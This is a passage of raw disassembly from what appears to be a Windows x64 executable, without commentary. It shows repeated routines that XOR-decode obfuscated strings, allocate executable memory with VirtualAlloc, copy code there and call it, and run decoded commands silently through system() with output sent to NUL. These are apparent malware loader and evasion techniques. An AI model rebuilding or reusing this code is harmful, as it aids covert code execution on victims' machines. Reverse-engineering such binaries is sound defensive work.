movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043d10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x250]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2f8]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x188]
call fcn.140048cd0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140043f8f
mov r8d, r13d
cmp r15d, 2
jl 0x140043f51
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140043e60
cmp r8d, 0x39
jge 0x140043f8f
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140043f60
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x258], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140044019
mov rdx, r13
nop dword [rax]
cmp rax, r14
je 0x140044008
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140043ff0
jmp 0x140044019
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400440ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044042
mov r8, r13
jmp 0x1400440de
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044050
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x258]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x300]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x189]
call fcn.140048d10
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x1400442cf
mov r8d, r13d
cmp r15d, 2
jl 0x140044291
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400441a0
cmp r8d, 0x39
jge 0x1400442cf
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400442a0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x260], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140044359
mov rdx, r13
nop dword [rax]
cmp rax, r14
je 0x140044348
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140044330
jmp 0x140044359
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004443f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044382
mov r8, r13
jmp 0x14004441e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044390
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x260]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x308]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x18a]
call fcn.140048d50
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14004460f
mov r8d, r13d
cmp r15d, 2
jl 0x1400445d1
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400444e0
cmp r8d, 0x39
jge 0x14004460f
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400445e0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x268], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140044699
mov rdx, r13
nop dword [rax]
cmp rax, r14
je 0x140044688
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140044670
jmp 0x140044699
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004477f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400446c2
mov r8, r13
jmp 0x14004475e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400446d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x310]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x18b]
call fcn.140048d90
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14004494f
mov r8d, r13d
cmp r15d, 2
jl 0x140044911
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140044820
cmp r8d, 0x39
jge 0x14004494f
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140044920
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x1b8], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x1400449d9
mov rdx, r13
nop dword [rax]
cmp rax, r14
je 0x1400449c8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400449b0
jmp 0x1400449d9
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140044abf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044a02
mov r8, r13
jmp 0x140044a9e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044a10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x1b8]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0xd8]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x118]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x18c]
call fcn.140048dd0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140044c8f
mov r8d, r13d
cmp r15d, 2
jl 0x140044c51
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140044b60
cmp r8d, 0x2d
jge 0x140044c8f
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140044c60
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xf8]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0x490]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x18d]
call fcn.140048e10
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140044edf
mov r8d, r13d
cmp r15d, 2
jl 0x140044ea2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140044db1
cmp r8d, 0x2d
jge 0x140044edf
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140044eb0
mov r8, rdi
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
lea r8, [0x1400cdc88]
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004b500
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x118]
call fcn.14004b570
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.14004b500
mov rcx, rax
call fcn.14004aa30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0xd8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x118]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xf8]
call fcn.14004aa60
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x490]
call fcn.14004aa60
mov edx, 4
lea rcx, [rsp + 0x490]
call fcn.14003e300
mov rbx, rax
mov edx, 4
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rdi, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x18e]
call fcn.140048e50
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14004512f
mov r8d, r13d
cmp r15d, 2
jl 0x1400450f2
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
